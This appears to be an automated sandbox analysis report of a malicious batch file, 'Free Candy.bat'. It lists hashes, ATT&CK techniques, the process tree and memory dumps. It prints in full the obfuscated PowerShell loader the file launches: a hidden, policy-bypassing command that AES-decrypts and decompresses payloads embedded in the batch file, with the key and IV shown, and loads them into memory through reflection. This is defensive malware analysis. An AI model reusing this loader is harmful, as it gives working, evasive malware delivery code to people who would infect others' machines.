e4a9f2d41890743f9447638f1af46aa2cc6f6025846df8e32915de8fcd9ab1ae

Analysis

max time kernel
717s
max time network
718s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
06-08-2024 04:05

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General

Target

Free Candy.bat
Size

726KB
MD5

5f14117f1fd87fa46fb37b56e87f0e7f
SHA1

50a2950aaad34258933cf10f78195b61f870ee7d
SHA256

e4a9f2d41890743f9447638f1af46aa2cc6f6025846df8e32915de8fcd9ab1ae
SHA512

1ee17349daf18ed02a3cb3b67d8987a0bd7287ffe2bb2c0cf5ad5004a14c5e73de847f75a6390d24f1d1ccd619ae63d177a9c218fd4bc4b9f8ddadb105c890a0
SSDEEP

12288:jRqwpZL+rpkFQN7X/oWnNVnh9E8pW9IGsHmcTAl79RCMzTindB:jRL6lpvoWL/EF9IYcTiSWcB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2444	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2444	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 2444	1760	cmd.exe	31
PID 1760 wrote to memory of 2444	1760	cmd.exe	31
PID 1760 wrote to memory of 2444	1760	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Free Candy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s3PmOFekrbMURG659b9KZABAZEot2P8QYsLMjAdvpMI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5PDYrt8bAJlfBVhSQkNwKQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVXUV=New-Object System.IO.MemoryStream(,$param_var); $qosdf=New-Object System.IO.MemoryStream; $HODhe=New-Object System.IO.Compression.GZipStream($RVXUV, [IO.Compression.CompressionMode]::Decompress); $HODhe.CopyTo($qosdf); $HODhe.Dispose(); $RVXUV.Dispose(); $qosdf.Dispose(); $qosdf.ToArray();}function execute_function($param_var,$param2_var){ $uFPjJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sKYTA=$uFPjJ.EntryPoint; $sKYTA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Free Candy.bat';$zWgVI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Free Candy.bat').Split([Environment]::NewLine);foreach ($GBYgo in $zWgVI) { if ($GBYgo.StartsWith(':: ')) { $yuPZQ=$GBYgo.Substring(3); break; }}$payloads_var=[string[]]$yuPZQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2444-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2444-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2444-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2444-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2444-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2444-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2444-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2444-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2444-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download